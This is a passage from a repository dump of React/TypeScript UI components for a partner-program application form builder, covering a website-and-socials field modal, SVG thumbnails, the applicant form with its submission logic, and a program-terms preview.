53.3565C112.2 53.7135 112.014 54.0275 111.752 54.2983C111.491 54.5661 111.168 54.7753 110.783 54.9261C110.398 55.0739 109.966 55.1477 109.486 55.1477ZM115.52 45.5455L115.427 52.3409H114.356L114.264 45.5455H115.52ZM114.892 55.0739C114.664 55.0739 114.469 54.9923 114.305 54.8292C114.142 54.6661 114.061 54.4706 114.061 54.2429C114.061 54.0152 114.142 53.8197 114.305 53.6566C114.469 53.4935 114.664 53.4119 114.892 53.4119C115.119 53.4119 115.315 53.4935 115.478 53.6566C115.641 53.8197 115.723 54.0152 115.723 54.2429C115.723 54.3937 115.684 54.5322 115.607 54.6584C115.533 54.7846 115.433 54.8861 115.307 54.9631C115.184 55.0369 115.046 55.0739 114.892 55.0739Z\"\n        fill=\"#262626\"\n      />\n      <rect x=\"119\" y=\"43\" width=\"2\" height=\"14\" fill=\"#D9D9D9\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/modals/website-and-socials-field-modal.tsx",
    "content": "\"use client\";\n\nimport {\n  programApplicationFormSiteSchema,\n  programApplicationFormWebsiteAndSocialsFieldSchema,\n} from \"@/lib/zod/schemas/program-application-form\";\nimport {\n  Button,\n  Globe,\n  Instagram,\n  LinkedIn,\n  Modal,\n  Switch,\n  TikTok,\n  Twitter,\n  YouTube,\n} from \"@dub/ui\";\nimport { motion } from \"motion/react\";\nimport { Dispatch, SetStateAction, useCallback, useId } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\n\ntype WebsiteAndSocialsFieldData = z.infer<\n  typeof programApplicationFormWebsiteAndSocialsFieldSchema\n>;\n\ntype WebsiteAndSocialsSiteData = z.infer<\n  typeof programApplicationFormSiteSchema\n>;\n\ntype WebsiteAndSocialsFieldDataType = z.infer<\n  typeof programApplicationFormSiteSchema\n>[\"type\"];\n\ntype WebsiteAndSocialsFieldModalProps = {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  defaultValues?: WebsiteAndSocialsFieldData;\n  onSubmit: (data: WebsiteAndSocialsFieldData) => void;\n};\n\nexport function WebsiteAndSocialsFieldModal(\n  props: WebsiteAndSocialsFieldModalProps,\n) {\n  return (\n    <Modal showModal={props.showModal} setShowModal={props.setShowModal}>\n      <WebsiteAndSocialsFieldModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction WebsiteAndSocialsFieldModalInner({\n  setShowModal,\n  onSubmit,\n  defaultValues,\n}: WebsiteAndSocialsFieldModalProps) {\n  const id = useId();\n\n  const { handleSubmit, watch, setValue } = useForm<WebsiteAndSocialsFieldData>(\n    {\n      defaultValues: defaultValues ?? {\n        id: uuid(),\n        type: \"website-and-socials\",\n        data: [],\n      },\n    },\n  );\n  const data = watch(\"data\");\n\n  const addSite = useCallback(\n    (type: WebsiteAndSocialsFieldDataType) => {\n      setValue(`data`, [...data, { type, required: false }], {\n        shouldDirty: true,\n      });\n    },\n    [data, setValue],\n  );\n\n  const removeSite = useCallback(\n    (type: WebsiteAndSocialsFieldDataType) => {\n      setValue(\n        `data`,\n        data.filter((site) => site.type !== type),\n        { shouldDirty: true },\n      );\n    },\n    [data, setValue],\n  );\n\n  const getSite = useCallback(\n    (type: WebsiteAndSocialsFieldDataType) => {\n      return data.find((site) => site.type === type);\n    },\n    [data],\n  );\n\n  const updateSite = useCallback(\n    (\n      type: WebsiteAndSocialsFieldDataType,\n      updatedData: Pick<WebsiteAndSocialsSiteData, \"required\">,\n    ) => {\n      const index = data.findIndex((site) => site.type === type);\n\n      if (index === -1) {\n        setValue(`data`, [...data, { type, ...updatedData }], {\n          shouldDirty: true,\n        });\n      } else {\n        setValue(\n          `data.${index}`,\n          { type, ...updatedData },\n          { shouldDirty: true },\n        );\n      }\n    },\n    [data, setValue],\n  );\n\n  return (\n    <>\n      <div className=\"p-4 pt-3\">\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          {defaultValues ? \"Edit\" : \"Add\"} website and socials\n        </h3>\n\n        <form\n          className=\"mt-4\"\n          onSubmit={(e) => {\n            e.stopPropagation();\n            handleSubmit(async (data) => {\n              setShowModal(false);\n              onSubmit({\n                ...data,\n                data: data.data,\n              });\n            })(e);\n          }}\n        >\n          <div className=\"flex flex-col gap-4\">\n            <SiteControl\n              id={id}\n              type=\"website\"\n              icon={Globe}\n              label=\"Website\"\n              data={getSite(\"website\")}\n              addSite={addSite}\n              removeSite={removeSite}\n              updateSite={updateSite}\n            />\n\n            <SiteControl\n              id={id}\n              type=\"instagram\"\n              icon={Instagram}\n              label=\"Instagram\"\n              data={getSite(\"instagram\")}\n              addSite={addSite}\n              removeSite={removeSite}\n              updateSite={updateSite}\n            />\n\n            <SiteControl\n              id={id}\n              type=\"youtube\"\n              icon={YouTube}\n              label=\"YouTube\"\n              data={getSite(\"youtube\")}\n              addSite={addSite}\n              removeSite={removeSite}\n              updateSite={updateSite}\n            />\n\n            <SiteControl\n              id={id}\n              type=\"twitter\"\n              icon={Twitter}\n              label=\"X/Twitter\"\n              data={getSite(\"twitter\")}\n              addSite={addSite}\n              removeSite={removeSite}\n              updateSite={updateSite}\n            />\n\n            <SiteControl\n              id={id}\n              type=\"tiktok\"\n              icon={TikTok}\n              label=\"TikTok\"\n              data={getSite(\"tiktok\")}\n              addSite={addSite}\n              removeSite={removeSite}\n              updateSite={updateSite}\n            />\n\n            <SiteControl\n              id={id}\n              type=\"linkedin\"\n              icon={LinkedIn}\n              label=\"LinkedIn\"\n              data={getSite(\"linkedin\")}\n              addSite={addSite}\n              removeSite={removeSite}\n              updateSite={updateSite}\n            />\n          </div>\n\n          <div className=\"mt-6 flex items-center justify-end gap-2\">\n            <Button\n              onClick={() => setShowModal(false)}\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-8 w-fit px-3\"\n            />\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={defaultValues ? \"Update\" : \"Add\"}\n              className=\"h-8 w-fit px-3\"\n            />\n          </div>\n        </form>\n      </div>\n    </>\n  );\n}\n\nfunction SiteControl({\n  id,\n  type,\n  icon: Icon,\n  label,\n  data,\n  addSite,\n  removeSite,\n  updateSite,\n}: {\n  id: string;\n  type: WebsiteAndSocialsFieldDataType;\n  icon: React.ComponentType<{ className?: string }>;\n  label: string;\n  data: WebsiteAndSocialsSiteData | undefined;\n  addSite: (type: WebsiteAndSocialsFieldDataType) => void;\n  removeSite: (type: WebsiteAndSocialsFieldDataType) => void;\n  updateSite: (\n    type: WebsiteAndSocialsFieldDataType,\n    data: Pick<WebsiteAndSocialsSiteData, \"required\">,\n  ) => void;\n}) {\n  const enabled = !!data;\n\n  return (\n    <div className=\"outline-border-subtle overflow-hidden rounded-lg bg-neutral-50 outline outline-1 -outline-offset-1\">\n      <label\n        className=\"border-border-subtle flex items-center justify-between gap-1.5 rounded-lg border bg-white px-3 py-2.5\"\n        htmlFor={`${id}-${type}`}\n      >\n        <div className=\"flex items-center gap-1.5\">\n          <Icon className=\"size-4\" />\n          <span className=\"text-sm font-semibold text-neutral-800\">\n            {label}\n          </span>\n        </div>\n        <Switch\n          id={`${id}-${type}`}\n          checked={enabled}\n          fn={(checked) => {\n            if (checked) {\n              addSite(type);\n            } else {\n              removeSite(type);\n            }\n          }}\n          trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n          thumbDimensions=\"size-3\"\n          thumbTranslate=\"translate-x-3\"\n        />\n      </label>\n\n      <motion.div\n        animate={{\n          height: enabled ? \"auto\" : 0,\n          overflow: \"hidden\",\n        }}\n        transition={{\n          duration: 0.15,\n        }}\n        initial={false}\n      >\n        <label\n          className=\"flex items-center justify-between gap-1.5 px-3 py-2.5\"\n          htmlFor={`${id}-${type}-required`}\n        >\n          <span className=\"text-sm font-medium text-neutral-800\">Required</span>\n          <Switch\n            id={`${id}-${type}-required`}\n            checked={data?.required ?? false}\n            fn={(checked) => {\n              updateSite(type, { required: checked });\n            }}\n            trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n            thumbDimensions=\"size-3\"\n            thumbTranslate=\"translate-x-3\"\n          />\n        </label>\n      </motion.div>\n    </div>\n  );\n}\n\nexport function WebsiteAndSocialsFieldThumbnail() {\n  return (\n    <svg\n      width=\"171\"\n      height=\"100\"\n      viewBox=\"0 0 171 100\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className=\"h-auto w-full\"\n    >\n      <path\n        d=\"M51.3335 36.7237C56.3041 36.7237 60.3335 35.0563 60.3335 32.9995C60.3335 30.9427 56.3041 29.2754 51.3335 29.2754C46.3629 29.2754 42.3335 30.9427 42.3335 32.9995C42.3335 35.0563 46.3629 36.7237 51.3335 36.7237Z\"\n        stroke=\"#262626\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M51.3335 42C53.3903 42 55.0577 37.9706 55.0577 33C55.0577 28.0294 53.3903 24 51.3335 24C49.2767 24 47.6094 28.0294 47.6094 33C47.6094 37.9706 49.2767 42 51.3335 42Z\"\n        stroke=\"#262626\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M51.3335 42C56.3041 42 60.3335 37.9706 60.3335 33C60.3335 28.0294 56.3041 24 51.3335 24C46.3629 24 42.3335 28.0294 42.3335 33C42.3335 37.9706 46.3629 42 51.3335 42Z\"\n        stroke=\"#262626\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M78.3335 42H92.3335C93.4381 42 94.3335 41.1046 94.3335 40V26C94.3335 24.8954 93.4381 24 92.3335 24H78.3335C77.2289 24 76.3335 24.8954 76.3335 26V40C76.3335 41.1046 77.2289 42 78.3335 42Z\"\n        fill=\"#0A66C2\"\n      />\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M91.834 39.5H89.1629V34.9505C89.1629 33.7032 88.6889 33.0061 87.7016 33.0061C86.6276 33.0061 86.0665 33.7315 86.0665 34.9505V39.5H83.4923V30.8333H86.0665V32.0007C86.0665 32.0007 86.8405 30.5686 88.6796 30.5686C90.5179 30.5686 91.834 31.6911 91.834 34.0128V39.5ZM80.4213 29.6985C79.5445 29.6985 78.834 28.9824 78.834 28.0992C78.834 27.2161 79.5445 26.5 80.4213 26.5C81.2981 26.5 82.0082 27.2161 82.0082 28.0992C82.0082 28.9824 81.2981 29.6985 80.4213 29.6985ZM79.0921 39.5H81.7763V30.8333H79.0921V39.5Z\"\n        fill=\"white\"\n      />\n      <g clipPath=\"url(#clip0_45921_492290)\">\n        <path\n          d=\"M119.333 25.6217C121.737 25.6217 122.021 25.6308 122.97 25.6741C123.848 25.7141 124.324 25.8607 124.641 25.984C125.062 26.1473 125.361 26.3423 125.676 26.6572C125.991 26.9722 126.186 27.272 126.349 27.692C126.473 28.0092 126.619 28.4858 126.659 29.3632C126.703 30.3123 126.712 30.5969 126.712 33C126.712 35.4031 126.703 35.6878 126.659 36.6368C126.619 37.5143 126.473 37.9908 126.349 38.308C126.186 38.728 125.991 39.0279 125.676 39.3428C125.361 39.6577 125.062 39.8528 124.641 40.016C124.324 40.1393 123.848 40.2859 122.97 40.3259C122.021 40.3692 121.737 40.3784 119.333 40.3784C116.93 40.3784 116.646 40.3692 115.697 40.3259C114.819 40.2859 114.343 40.1393 114.026 40.016C113.605 39.8528 113.306 39.6577 112.991 39.3428C112.676 39.0278 112.481 38.728 112.318 38.308C112.194 37.9909 112.048 37.5143 112.008 36.6368C111.964 35.6878 111.955 35.4031 111.955 33C111.955 30.5969 111.964 30.3123 112.008 29.3633C112.048 28.4858 112.194 28.0092 112.318 27.692C112.481 27.272 112.676 26.9722 112.991 26.6572C113.306 26.3422 113.605 26.1473 114.026 25.984C114.343 25.8607 114.819 25.7141 115.697 25.6741C116.646 25.6308 116.93 25.6217 119.333 25.6217ZM119.333 24C116.889 24 116.583 24.0103 115.623 24.0541C114.665 24.0979 114.011 24.25 113.438 24.4725C112.846 24.7025 112.344 25.0102 111.844 25.5106C111.344 26.0109 111.036 26.5128 110.806 27.1046C110.583 27.6771 110.431 28.3314 110.388 29.2893C110.344 30.2492 110.333 30.5557 110.333 33C110.333 35.4443 110.344 35.7508 110.388 36.7107C110.431 37.6687 110.583 38.3229 110.806 38.8954C111.036 39.4872 111.344 39.9891 111.844 40.4895C112.344 40.9898 112.846 41.2975 113.438 41.5275C114.011 41.75 114.665 41.9021 115.623 41.9459C116.583 41.9897 116.889 42 119.333 42C121.778 42 122.084 41.9897 123.044 41.9459C124.002 41.9021 124.656 41.75 125.229 41.5275C125.821 41.2976 126.323 40.9898 126.823 40.4895C127.323 39.9891 127.631 39.4872 127.861 38.8954C128.083 38.3229 128.236 37.6687 128.279 36.7107C128.323 35.7508 128.333 35.4443 128.333 33C128.333 30.5557 128.323 30.2492 128.279 29.2893C128.236 28.3314 128.083 27.6771 127.861 27.1047C127.631 26.5128 127.323 26.0109 126.823 25.5106C126.323 25.0102 125.821 24.7024 125.229 24.4725C124.656 24.25 124.002 24.0979 123.044 24.0541C122.084 24.0103 121.778 24 119.333 24ZM119.333 28.3784C116.781 28.3784 114.712 30.4477 114.712 33C114.712 35.5525 116.781 37.6216 119.333 37.6216C121.886 37.6216 123.955 35.5525 123.955 33C123.955 30.4476 121.886 28.3784 119.333 28.3784ZM119.333 36C117.677 36 116.333 34.6568 116.333 33C116.333 31.3432 117.677 30 119.333 30C120.99 30 122.334 31.3432 122.334 33C122.334 34.6568 120.99 36 119.333 36ZM125.218 28.1958C125.218 28.7923 124.734 29.2758 124.138 29.2758C123.541 29.2758 123.058 28.7923 123.058 28.1958C123.058 27.5993 123.541 27.1158 124.138 27.1158C124.734 27.1158 125.218 27.5993 125.218 28.1958Z\"\n          fill=\"#171717\"\n        />\n      </g>\n      <g clipPath=\"url(#clip1_45921_492290)\">\n        <path\n          d=\"M53.3718 65.6227L60.0682 58H58.4819L52.665 64.6173L48.0225 58H42.6665L49.6885 68.0075L42.6665 76H44.2528L50.3917 69.0104L55.2956 76H60.6515M44.8253 59.1714H47.2623L58.4808 74.8861H56.0432\"\n          fill=\"#171717\"\n        />\n      </g>\n      <g clipPath=\"url(#clip2_45921_492290)\">\n        <path\n          d=\"M94.1694 62.5276C94.0634 62.1357 93.8565 61.7784 93.5694 61.4913C93.2823 61.2042 92.9251 60.9974 92.5332 60.8913C91.0984 60.5 85.3239 60.5 85.3239 60.5C85.3239 60.5 79.5492 60.5118 78.1144 60.9031C77.7225 61.0092 77.3652 61.2161 77.0781 61.5032C76.7911 61.7903 76.5842 62.1476 76.4782 62.5396C76.0442 65.0889 75.8758 68.9734 76.4901 71.4207C76.5961 71.8126 76.803 72.1699 77.0901 72.457C77.3772 72.7441 77.7344 72.951 78.1263 73.0571C79.5611 73.4484 85.3357 73.4484 85.3357 73.4484C85.3357 73.4484 91.1102 73.4484 92.5449 73.0571C92.9369 72.951 93.2942 72.7441 93.5812 72.457C93.8683 72.1699 94.0752 71.8126 94.1813 71.4207C94.639 68.8678 94.7801 64.9857 94.1694 62.5276Z\"\n          fill=\"#FF0000\"\n        />\n        <path\n          d=\"M83.4858 69.7485L88.2762 66.9739L83.4858 64.1992V69.7485Z\"\n          fill=\"white\"\n        />\n      </g>\n      <g clipPath=\"url(#clip3_45921_492290)\">\n        <path\n          d=\"M123.524 64.4819C124.691 65.3102 126.121 65.7976 127.666 65.7976V62.8474C127.374 62.8474 127.082 62.8172 126.796 62.757V65.0792C125.252 65.0792 123.822 64.5919 122.654 63.7637V69.7841C122.654 72.7959 120.194 75.2372 117.16 75.2372C116.028 75.2372 114.976 74.8975 114.102 74.3149C115.1 75.3274 116.491 75.9555 118.03 75.9555C121.064 75.9555 123.524 73.5141 123.524 70.5023V64.4819H123.524ZM124.597 61.5055C124 60.8586 123.609 60.0225 123.524 59.0982V58.7188H122.7C122.907 59.8935 123.615 60.8972 124.597 61.5055ZM116.021 72.0038C115.688 71.5699 115.508 71.0393 115.508 70.4936C115.508 69.1162 116.633 67.9993 118.022 67.9993C118.28 67.9992 118.537 68.0386 118.784 68.1162V65.1001C118.496 65.0609 118.205 65.0442 117.914 65.0503V67.398C117.668 67.3203 117.41 67.2809 117.152 67.2811C115.764 67.2811 114.639 68.3979 114.639 69.7755C114.639 70.7496 115.201 71.5929 116.021 72.0038Z\"\n          fill=\"#FF004F\"\n        />\n        <path\n          d=\"M122.654 63.7636C123.821 64.5918 125.251 65.0792 126.796 65.0792V62.757C125.933 62.5747 125.17 62.1275 124.596 61.5055C123.614 60.8971 122.907 59.8935 122.699 58.7188H120.534V70.5021C120.529 71.8758 119.406 72.9881 118.021 72.9881C117.205 72.9881 116.479 72.602 116.02 72.0037C115.2 71.5929 114.638 70.7495 114.638 69.7756C114.638 68.398 115.763 67.2812 117.151 67.2812C117.417 67.2812 117.673 67.3223 117.914 67.398V65.0504C114.933 65.1115 112.536 67.529 112.536 70.5022C112.536 71.9864 113.133 73.3318 114.101 74.3149C114.976 74.8975 116.028 75.2373 117.16 75.2373C120.194 75.2373 122.654 72.7958 122.654 69.7841L122.654 63.7636Z\"\n          fill=\"black\"\n        />\n        <path\n          d=\"M126.796 62.7564V62.1285C126.019 62.1297 125.257 61.9136 124.597 61.5049C125.181 62.1394 125.95 62.5769 126.796 62.7564ZM122.7 58.7182C122.68 58.6059 122.665 58.4929 122.654 58.3795V58H119.665V69.7835C119.66 71.157 118.537 72.2693 117.152 72.2693C116.745 72.2693 116.361 72.1735 116.021 72.0032C116.48 72.6014 117.205 72.9875 118.021 72.9875C119.406 72.9875 120.53 71.8753 120.534 70.5016V58.7182H122.7ZM117.914 65.0498V64.3814C117.665 64.3475 117.413 64.3305 117.161 64.3306C114.126 64.3306 111.667 66.772 111.667 69.7835C111.667 71.6715 112.633 73.3355 114.102 74.3142C113.133 73.3312 112.536 71.9857 112.536 70.5016C112.536 67.5285 114.934 65.111 117.914 65.0498Z\"\n          fill=\"#00F2EA\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_45921_492290\">\n          <rect\n            width=\"18\"\n            height=\"18\"\n            fill=\"white\"\n            transform=\"translate(110.333 24)\"\n          />\n        </clipPath>\n        <clipPath id=\"clip1_45921_492290\">\n          <rect\n            width=\"18\"\n            height=\"18\"\n            fill=\"white\"\n            transform=\"translate(42.3335 58)\"\n          />\n        </clipPath>\n        <clipPath id=\"clip2_45921_492290\">\n          <rect\n            width=\"18.4889\"\n            height=\"13\"\n            fill=\"white\"\n            transform=\"translate(76.0889 60.5)\"\n          />\n        </clipPath>\n        <clipPath id=\"clip3_45921_492290\">\n          <rect\n            width=\"16\"\n            height=\"18\"\n            fill=\"white\"\n            transform=\"translate(111.667 58)\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/program-application-form.tsx",
    "content": "\"use client\";\n\nimport {\n  createProgramApplicationAction,\n  PartnerData,\n} from \"@/lib/actions/partners/create-program-application\";\nimport {\n  GroupWithFormDataProps,\n  ProgramApplicationFormDataWithValues,\n  ProgramProps,\n} from \"@/lib/types\";\nimport { Button, useLocalStorage, useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter } from \"next/navigation\";\nimport { useCallback, useEffect, useState } from \"react\";\nimport { Controller, FormProvider, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { CountryCombobox } from \"../../../country-combobox\";\nimport { ProgramApplicationFormField } from \"./fields\";\nimport { FormControlRequiredBadge } from \"./fields/form-control\";\nimport { formDataForApplicationFormData } from \"./form-data-for-application-form-data\";\n\ntype FormData = {\n  name: string;\n  email: string;\n  country: string;\n  termsAgreement: boolean;\n  formData: ProgramApplicationFormDataWithValues;\n};\n\nexport function ProgramApplicationForm({\n  program,\n  group,\n  preview = false,\n}: {\n  program: Pick<ProgramProps, \"id\" | \"slug\" | \"name\" | \"termsUrl\">;\n  group: Pick<GroupWithFormDataProps, \"id\" | \"applicationFormData\" | \"slug\">;\n  preview?: boolean;\n}) {\n  const { isMobile } = useMediaQuery();\n  const router = useRouter();\n  const { data: session } = useSession();\n\n  const form = useForm<FormData>({\n    defaultValues: {\n      name: \"\",\n      email: \"\",\n      country: \"\",\n      termsAgreement: false,\n      formData: formDataForApplicationFormData(\n        group.applicationFormData?.fields ?? [],\n      ),\n    },\n  });\n\n  const {\n    control,\n    register,\n    handleSubmit,\n    setError,\n    setValue,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = form;\n\n  const [fieldStatuses, setFieldStatuses] = useState<Record<string, boolean>>(\n    {},\n  );\n\n  const handleFieldStatusChange = useCallback(\n    (fieldId: string, isLoading: boolean) => {\n      setFieldStatuses((prev) => ({\n        ...prev,\n        [fieldId]: isLoading,\n      }));\n    },\n    [],\n  );\n\n  const hasAnyLoadingStatus = Object.values(fieldStatuses).some(\n    (loading) => loading,\n  );\n\n  useEffect(() => {\n    if (preview || !session?.user) return;\n\n    setValue(\"name\", session.user.name ?? \"\");\n    setValue(\"email\", session.user.email ?? \"\");\n  }, [preview, session?.user, setValue]);\n\n  const [_, setSubmissionInfo] = useLocalStorage<PartnerData | null>(\n    `application-form-partner-data`,\n    null,\n  );\n\n  const { executeAsync, isPending } = useAction(\n    createProgramApplicationAction,\n    {\n      async onSuccess({ data }) {\n        if (!data) {\n          toast.error(\"Failed to submit application. Please try again.\");\n          return;\n        }\n\n        const { programApplicationId, programEnrollmentId, partnerData } = data;\n\n        setSubmissionInfo({\n          name: partnerData.name,\n          country: partnerData.country,\n        });\n\n        const searchParams = new URLSearchParams({\n          applicationId: programApplicationId,\n          ...(programEnrollmentId && {\n            enrollmentId: programEnrollmentId,\n          }),\n        });\n\n        router.push(\n          `/${program.slug}/${group.slug}/apply/success?${searchParams.toString()}`,\n        );\n      },\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const isLoading =\n    isSubmitting || isSubmitSuccessful || isPending || hasAnyLoadingStatus;\n\n  return (\n    <FormProvider {...form}>\n      <form\n        onSubmit={handleSubmit(async (data) => {\n          const result = await executeAsync({\n            ...data,\n            programId: program.id,\n            groupId: group.id,\n          });\n\n          if (!result || result.serverError || result.validationErrors) {\n            setError(\"root.serverError\", {\n              message: \"Error submitting application.\",\n            });\n          }\n        })}\n        className=\"flex flex-col gap-6\"\n      >\n        <label>\n          <div className=\"flex items-center gap-1.5\">\n            <span className=\"text-content-emphasis text-sm font-medium\">\n              Name\n            </span>\n            <FormControlRequiredBadge />\n          </div>\n          <input\n            type=\"text\"\n            autoComplete=\"name\"\n            className={cn(\n              \"mt-2 block w-full rounded-md focus:outline-none sm:text-sm\",\n              errors.name\n                ? \"border-red-400 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:ring-[var(--brand)]\",\n            )}\n            placeholder=\"\"\n            autoFocus={!isMobile}\n            {...register(\"name\", {\n              required: true,\n            })}\n          />\n        </label>\n\n        <label>\n          <div className=\"flex items-center gap-1.5\">\n            <span className=\"text-content-emphasis text-sm font-medium\">\n              Email\n            </span>\n            <FormControlRequiredBadge />\n          </div>\n          <input\n            type=\"email\"\n            autoComplete=\"email\"\n            className={cn(\n              \"mt-2 block w-full rounded-md focus:outline-none sm:text-sm\",\n              errors.email\n                ? \"border-red-400 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:ring-[var(--brand)]\",\n            )}\n            placeholder=\"\"\n            {...register(\"email\", {\n              required: true,\n            })}\n          />\n        </label>\n\n        <label className=\"flex flex-col\">\n          <div className=\"flex items-center gap-1.5\">\n            <span className=\"text-content-emphasis text-sm font-medium\">\n              Country\n            </span>\n            <FormControlRequiredBadge />\n          </div>\n\n          <Controller\n            control={control}\n            name=\"country\"\n            rules={{ required: true }}\n            render={({ field }) => (\n              <CountryCombobox\n                value={field.value || \"\"}\n                onChange={field.onChange}\n                error={errors.country ? true : false}\n                className=\"focus:border-[var(--brand)] focus:ring-[var(--brand)]\"\n              />\n            )}\n          />\n        </label>\n\n        {group?.applicationFormData?.fields.map((field, index) => {\n          return (\n            <ProgramApplicationFormField\n              key={field.id}\n              field={field}\n              keyPath={`formData.fields.${index}`}\n              onStatusChange={(loading) =>\n                handleFieldStatusChange(field.id, loading)\n              }\n            />\n          );\n        })}\n\n        {program.termsUrl && (\n          <div className=\"flex items-center gap-2\">\n            <input\n              type=\"checkbox\"\n              id=\"termsAgreement\"\n              className={cn(\n                \"h-4 w-4 rounded border-neutral-300 text-[var(--brand)] focus:ring-[var(--brand)]\",\n                errors.termsAgreement && \"border-red-400 focus:ring-red-500\",\n              )}\n              {...register(\"termsAgreement\", { required: true })}\n            />\n            <label\n              htmlFor=\"termsAgreement\"\n              className=\"text-sm text-neutral-800\"\n            >\n              I agree to the{\" \"}\n              <a\n                href={program.termsUrl}\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                className=\"text-[var(--brand)] underline hover:opacity-80\"\n              >\n                {program.name} Program Terms ↗\n              </a>\n            </label>\n          </div>\n        )}\n\n        <Button\n          text=\"Continue\"\n          className=\"mt-4 enabled:border-[var(--brand)] enabled:bg-[var(--brand)] enabled:hover:bg-[var(--brand)] enabled:hover:ring-[var(--brand-ring)]\"\n          loading={isLoading}\n        />\n      </form>\n    </FormProvider>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/program-terms-preview.tsx",
    "content": "\"use client\";\n\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramProps } from \"@/lib/types\";\nimport { ArrowUpRight2, Button, SquareCheck, UserCheck } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useEffect } from \"react\";\n\nconst PROGRAM_TERMS_CHANNEL = \"program-terms-updated\";\n\nexport default function ProgramTermsPreview() {\n  const { slug } = useWorkspace();\n  const { program, mutate } = useProgram(\n    {},\n    { dedupingInterval: 5000, revalidateOnFocus: true },\n  );\n\n  // Listen for cross-tab updates from the resources page\n  useEffect(() => {\n    const channel = new BroadcastChannel(PROGRAM_TERMS_CHANNEL);\n    channel.onmessage = (event) => {\n      const termsUrl = event.data?.termsUrl ?? null;\n      // Optimistically update the cache, then revalidate in background\n      mutate(\n        (current) =>\n          current ? ({ ...current, termsUrl } as ProgramProps) : current,\n        { revalidate: true },\n      );\n    };\n    return () => channel.close();\n  }, [mutate]);\n\n  const hasTerms = Boolean(program?.termsUrl);\n  const resourcesUrl = `/${slug}/program/resources`;\n\n  return (\n    <div\n      className={cn(\n        \"rounded-xl px-1 pb-1.5 pt-1\",\n        hasTerms ? \"bg-blue-50\" : \"bg-amber-100\",\n      )}\n    >\n      <div\n        className={cn(\n          \"flex items-center justify-center gap-2 rounded-lg border py-2\",\n          hasTerms\n            ? \"border-blue-200 bg-blue-100\"\n            : \"border-amber-100 bg-amber-50\",\n        )}\n      >\n        <div className=\"flex items-center gap-1\">\n          <SquareCheck\n            className={cn(\n              \"size-4\",\n              hasTerms ? \"text-blue-900\" : \"text-amber-900\",\n            )}\n          />\n          <span\n            className={cn(\n              \"text-sm font-medium\",\n              hasTerms ? \"text-blue-900\" : \"text-amber-900\",\n            )}\n          >\n            Program terms agreement\n          </span>\n        </div>\n        <Button\n          type=\"button\"\n          variant={hasTerms ? \"secondary\" : \"primary\"}\n          text={hasTerms ? \"Edit link\" : \"Add link\"}\n          right={<ArrowUpRight2 className=\"size-3\" />}\n          className={cn(\n            \"h-6 w-fit gap-1 px-1.5 text-xs\",\n            hasTerms && \"border-blue-200\",\n          )}\n          onClick={() => window.open(resourcesUrl, \"_blank\")}\n        />\n      </div>\n      <div className=\"mt-1 flex items-center justify-center gap-1\">\n        <UserCheck\n          className={cn(\n            \"size-3.5\",\n            hasTerms ? \"text-blue-900\" : \"text-amber-500\",\n          )}\n        />\n        <span\n          className={cn(\n            \"text-xs font-medium\",\n            hasTerms ? \"text-blue-900\" : \"text-amber-900\",\n          )}\n        >\n          Required applicant field\n        </span>\n      </div>\n    </div>\n  );\n}\n\nexport { PROGRAM_TERMS_CHANNEL };\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/required-fields-preview.tsx",
    "content": "import { UserCheck } from \"@dub/ui\";\n\nconst RequiredFieldItemPreview = ({\n  icon,\n  label,\n}: {\n  icon: React.ReactNode;\n  label: string;\n}) => {\n  return (\n    <div className=\"flex flex-1 items-center justify-center gap-1.5 rounded-lg border border-blue-200 bg-blue-100 py-2\">\n      <div className=\"relative h-4 w-4\">{icon}</div>\n      <div className=\"text-sm font-medium text-blue-900\">{label}</div>\n    </div>\n  );\n};\n\nconst RequiredFieldsPreview = () => {\n  return (\n    <div className=\"rounded-xl bg-blue-50 px-1 pb-1.5 pt-1\">\n      <div className=\"grid w-full grid-cols-1 gap-1 lg:grid-cols-3\">\n        <RequiredFieldItemPreview icon={<SignatureIcon />} label=\"Name\" />\n        <RequiredFieldItemPreview icon={<EmailIcon />} label=\"Email\" />\n        <RequiredFieldItemPreview icon={<CountryIcon />} label=\"Country\" />\n      </div>\n      <div className=\"mt-1 flex items-center justify-center gap-2\">\n        <UserCheck className=\"size-4 text-blue-500\" 